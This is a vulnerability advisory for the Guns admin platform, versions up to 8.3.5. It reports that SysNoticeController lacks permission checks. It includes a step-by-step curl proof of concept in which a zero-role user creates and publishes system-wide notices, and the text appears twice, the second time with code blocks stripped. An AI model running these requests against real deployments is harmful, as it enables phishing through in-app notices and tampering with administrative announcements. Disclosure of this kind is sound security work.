Package: com.javaguns.roses:system-business-portal (roses kernel, bundled in Guns)
Affected Versions: <= 8.3.5
Summary
The Guns admin platform (v8.3.5) ships a system-notice management controller (SysNoticeController) that lacks requiredPermission = true on all its actions, including create (/sysNotice/add), edit (/sysNotice/edit), delete (/sysNotice/delete), and publish (/sysNotice/publishNotice). Any low-privilege authenticated user -- including one with zero assigned roles -- can create and immediately publish system-wide announcements to any user or department in the organization. A neighboring controller (SysMenuController) that handles equivalent CRUD operations correctly applies requiredPermission = true and rejects the same caller with B0309.
Details
Root cause -- @ApiResource annotation missing requiredPermission = true in SysNoticeController.java:
File: cn.stylefeng.roses.kernel.sys.modular.notice.controller.SysNoticeController (system-business-portal-8.3.5.jar)
// VULNERABLE -- class-level annotation, no requiredPermission = true
@RestController
@ApiResource(name = "通知管理") // requiredPermission defaults to false
public class SysNoticeController {
@PostResource(name = "添加通知管理", path = "/sysNotice/add")
public ResponseData<SysNotice> add(...) { ... }
@PostResource(name = "删除通知管理", path = "/sysNotice/delete")
public ResponseData<?> delete(...) { ... }
@PostResource(name = "批量删除通知管理", path = "/sysNotice/batchDelete")
public ResponseData<?> batchDelete(...) { ... }
@PostResource(name = "编辑通知管理", path = "/sysNotice/edit")
public ResponseData<?> edit(...) { ... }
@PostResource(name = "发送通知", path = "/sysNotice/publishNotice")
public ResponseData<?> publishNotice(...) { ... }
@PostResource(name = "撤回通知", path = "/sysNotice/retractNotice")
public ResponseData<?> retractNotice(...) { ... }
}
Gated sibling for contrast (SysMenuController):
// CORRECTLY GATED
@ApiResource(name = "菜单管理界面的接口", requiredPermission = true,
requirePermissionCode = PermissionCodeConstants.AUTH_MENU)
public class SysMenuController { ... }
The TokenAndPermissionInterceptor only calls permissionServiceApi.checkPermission() when requiredPermissionFlag is true. Because SysNoticeController never sets this flag, any valid login token bypasses the RBAC check for all notice operations.
Interceptor excerpt (TokenAndPermissionInterceptor.java line 110):
if (resourceDefinition.getRequiredPermissionFlag()) {
if (StrUtil.isEmpty(token)) {
throw new AuthException(AuthExceptionEnum.TOKEN_GET_ERROR);
}
permissionServiceApi.checkPermission(token, requestURI);
}
PoC
Prerequisites: a running Guns 8.3.5 instance. A low-privilege account (zero roles) obtained via registration or admin creation.
Step 1 -- Obtain a low-privilege token:
curl -s -X POST 'http://TARGET:PORT/loginApi' \
-H 'Content-Type: application/json' \
-d '{"account":"testuser001","password":"123456"}'
# Response contains: "token": "<LOW_PRIV_TOKEN>"
Step 2 -- Confirm that a gated sibling is properly denied:
curl -s -X POST 'http://TARGET:PORT/sysMenu/add' \
-H 'Content-Type: application/json' \
-H 'Authorization: <LOW_PRIV_TOKEN>' \
-d '{"menuName":"test","menuCode":"test","appId":"1671406745336016898","menuType":1,"menuSort":100}'
# Response (permission denied):
# {"code":"B0309","message":"权限校验失败,请检查用户是否有该资源的权限","success":false}
Step 3 -- Create a notice as low-priv user (should be denied, but succeeds):
curl -s -X POST 'http://TARGET:PORT/sysNotice/add' \
-H 'Content-Type: application/json' \
-H 'Authorization: <LOW_PRIV_TOKEN>' \
-d '{
"noticeTitle": "Unauthorized Notice",
"noticeContent": "Created by low-priv user without permission",
"priorityLevel": "high",
"noticeUserScope": {
"pointUserList": [{"id": "<any_user_id>", "name": "admin"}],
"pointOrgList": []
}
}'
# Response (HTTP 200, unexpected success):
# {"success":true,"code":"00000","message":"请求成功","data":null}
Step 4 -- Publish the created notice to targeted users:
# Retrieve the new notice ID:
curl -s 'http://TARGET:PORT/sysNotice/page' \
-H 'Authorization: <LOW_PRIV_TOKEN>'
# Locate the noticeId in the response
curl -s -X POST 'http://TARGET:PORT/sysNotice/publishNotice' \
-H 'Content-Type: application/json' \
-H 'Authorization: <LOW_PRIV_TOKEN>' \
-d '{"noticeId": "<NOTICE_ID>"}'
# Response (HTTP 200, unexpected success):
# {"success":true,"code":"00000","message":"请求成功","data":null}
Live run confirmed: notice noticeId=2067566786032033794 was created and published by userId=2067566382338662402 (testuser001, no roles). The createUser field in the listing showed the low-priv user as author.
Impact
An attacker with any valid login session can create and publish system-wide announcements targeting arbitrary users or departments, edit or delete existing admin-authored notices, and retract legitimate notices. This enables social-engineering attacks (phishing via in-app messages), disruption of internal communication, and impersonation of administrative announcements. Write access to the notice system represents a meaningful integrity violation in any enterprise deployment of Guns.
Package: com.javaguns.roses:system-business-portal (roses kernel, bundled in Guns)
Affected Versions: <= 8.3.5
Summary
The Guns admin platform (v8.3.5) ships a system-notice management controller (
SysNoticeController) that lacksrequiredPermission = trueon all its actions, including create (/sysNotice/add), edit (/sysNotice/edit), delete (/sysNotice/delete), and publish (/sysNotice/publishNotice). Any low-privilege authenticated user -- including one with zero assigned roles -- can create and immediately publish system-wide announcements to any user or department in the organization. A neighboring controller (SysMenuController) that handles equivalent CRUD operations correctly appliesrequiredPermission = trueand rejects the same caller withB0309.Details
Root cause --
@ApiResourceannotation missingrequiredPermission = truein SysNoticeController.java:File:
cn.stylefeng.roses.kernel.sys.modular.notice.controller.SysNoticeController(system-business-portal-8.3.5.jar)Gated sibling for contrast (
SysMenuController):The
TokenAndPermissionInterceptoronly callspermissionServiceApi.checkPermission()whenrequiredPermissionFlagistrue. BecauseSysNoticeControllernever sets this flag, any valid login token bypasses the RBAC check for all notice operations.Interceptor excerpt (TokenAndPermissionInterceptor.java line 110):
PoC
Prerequisites: a running Guns 8.3.5 instance. A low-privilege account (zero roles) obtained via registration or admin creation.
Step 1 -- Obtain a low-privilege token:
Step 2 -- Confirm that a gated sibling is properly denied:
Step 3 -- Create a notice as low-priv user (should be denied, but succeeds):
Step 4 -- Publish the created notice to targeted users:
Live run confirmed: notice
noticeId=2067566786032033794was created and published byuserId=2067566382338662402(testuser001, no roles). ThecreateUserfield in the listing showed the low-priv user as author.Impact
An attacker with any valid login session can create and publish system-wide announcements targeting arbitrary users or departments, edit or delete existing admin-authored notices, and retract legitimate notices. This enables social-engineering attacks (phishing via in-app messages), disruption of internal communication, and impersonation of administrative announcements. Write access to the notice system represents a meaningful integrity violation in any enterprise deployment of Guns.